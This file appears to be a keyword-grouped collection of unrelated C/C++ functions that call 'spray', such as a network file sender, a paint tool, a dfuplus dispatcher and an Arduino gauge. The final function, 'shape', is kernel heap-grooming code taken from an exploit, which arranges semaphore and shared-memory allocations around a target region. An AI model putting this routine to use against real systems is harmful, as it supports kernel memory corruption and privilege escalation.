int main(int argc, char *argv[]) { struct sockaddr *srv, *cli; int s, srv_len, cli_len, rc; unsigned int fr; __u16 padding; if (check_srv_params(argc, argv)) exit(1); s = socket(AF_XIA, SOCK_DGRAM, get_xdp_type()); if (s < 0) { int orig_errno = errno; fprintf(stderr, "Cannot create XDP socket: %s\n", strerror(orig_errno)); return 1; } srv = get_addr(argv[1], &srv_len); assert(srv); assert(!bind(s, srv, srv_len)); cli = get_addr(argv[2], &cli_len); assert(cli); /* Read padding amount. */ rc = sscanf(argv[4], "%hd", &padding); if (errno != 0) { fprintf(stderr, "%s: sscanf errno=%i: %s\n", __func__, errno, strerror(errno)); return 1; } else if (rc != 1) { fprintf(stderr, "No padding data exists.\n"); return 1; } rc = sscanf(argv[5], "%d", &fr); if (errno != 0) { fprintf(stderr, "%s: sscanf errno=%i: %s\n", __func__, errno, strerror(errno)); return 1; } else if (rc != 1) { fprintf(stderr, "No failure rate exists.\n"); return 1; } if (fr > 100) { fprintf(stderr, "Failure rate must be between 0 and 100.\n"); return 1; } spray(s, cli, cli_len, argv[3], padding, fr); fprintf(stderr, "File sent.\n"); free(cli); free(srv); assert(!close(s)); return 0; }
void drawSpray() { int b,sx,sy; getmousepos(&b,&sx,&sy); if(b==1) hidemouseptr(); while(b==1) { getmousepos(&b,&sx,&sy); spray(sx,sy,cur_color); } showmouseptr(); }
int CDfuPlusHelper::doit() { const char* action = globals->queryProp("action"); if(action == NULL || *action == '\0') throw MakeStringException(-1, "action is missing"); else if(stricmp(action, "spray") == 0) return spray(); else if(stricmp(action, "replicate") == 0) return replicate(); else if(stricmp(action, "despray") == 0) return despray(); else if(stricmp(action, "copy") == 0) return copy(); else if(stricmp(action, "copysuper") == 0) return copysuper(); else if(stricmp(action, "remove") == 0) return remove(); else if(stricmp(action, "rename") == 0) return rename(); else if(stricmp(action, "list") == 0) return list(); else if(stricmp(action, "recover") == 0) return recover(); else if(stricmp(action, "addsuper") == 0) return superfile("add"); else if(stricmp(action, "removesuper") == 0) return superfile("remove"); else if(stricmp(action, "listsuper") == 0) return superfile("list"); else if(stricmp(action, "savexml") == 0) return savexml(); else if(stricmp(action, "add") == 0) return add(); else if(stricmp(action, "status") == 0) return status(); else if(stricmp(action, "abort") == 0) return abort(); else if(stricmp(action, "resubmit") == 0) return resubmit(); else if(stricmp(action, "monitor") == 0) return monitor(); #ifdef DAFILESRV_LOCAL else if(stricmp(action, "dafilesrv") == 0) return rundafs(); #endif else throw MakeStringException(-1, "Unknown dfuplus action"); return 0; }
void test_all_meters(){ /* if ((analogRead(tempPin) > 512) && (mode != 1)){ //oil temp mode = 1; temp_meter(); } if ((analogRead(t1pin) > 512) && (mode != 6)){ //temp1 mode = 6; two_temp_meter(); } if ((analogRead(t2pin) > 512) && (mode != 6)){ //temp2 mode = 6; two_temp_meter(); }*/ if (( (lookup_boost(analogRead(boostPin))) > 140) && (mode != 3)){ //boost mode = 3; boost_peak=lookup_boost(analogRead(boostPin)); spray(); boost_meter(); } return; }
int shape(size_t *spray_size) { size_t keys[0x400]; int exec[2]; int sv[2]; char flag; size_t bytes = 0, tofree = 0; size_t factor,hole_size; struct flock fl; memset(&fl, 0, sizeof(fl)); pid_t pid, wpid; int status; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) { printf("[*err] socketpair failed\n"); return 1; } bytes = spray(1); if (bytes == (size_t)-1) { printf("[*err*] bytes < 0, are you root?\n"); return 1; } *spray_size = bytes; hole_size = get_size_factor(*spray_size, &factor); tofree = hole_size / (bytes / 1) + 1; printf("[*] allocate holes before the workspace\n"); for (int i = 0; i < 0x400; ++i) { keys[i] = alloc_sem(0x7000); } for (int i = 0; i < 0x20; ++i) { alloc_sem(0x7000); } for (int i = 0; i < 0x2000; ++i) { alloc_sem(4063); } for (int i = 0; i < 0x2000; ++i) { alloc_sem(3); } pid = fork(); if (pid > 0) { printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n"); bytes = spray(5); write(sv[1], "p", 1); read(sv[1], &flag, 1); } else { // son read(sv[0], &flag, 1); printf("[*] alloc workspace pages\n"); bytes = spray(tofree); printf("[*] finish allocate workspace allocations\n"); write(sv[0], "p", 1); } if (pid > 0) { printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n"); for (int i = 0; i < 0x100; ++i) { alloc_sem(4061); for (int j = 0; j < 0x5; ++j) { alloc_shm(i * 0x100 + j); } } write(sv[1], "p", 1); } else { read(sv[0], &flag, 1); printf("[*] free middle allocation, creating workspace freed\n"); exit(1); } while ((wpid = wait(&status)) > 0); printf("[*] free prepared holes, create little pages holes before the workspace\n"); for (int i = 0; i < 0x400; ++i) { free_sem(keys[i]); } return 0; }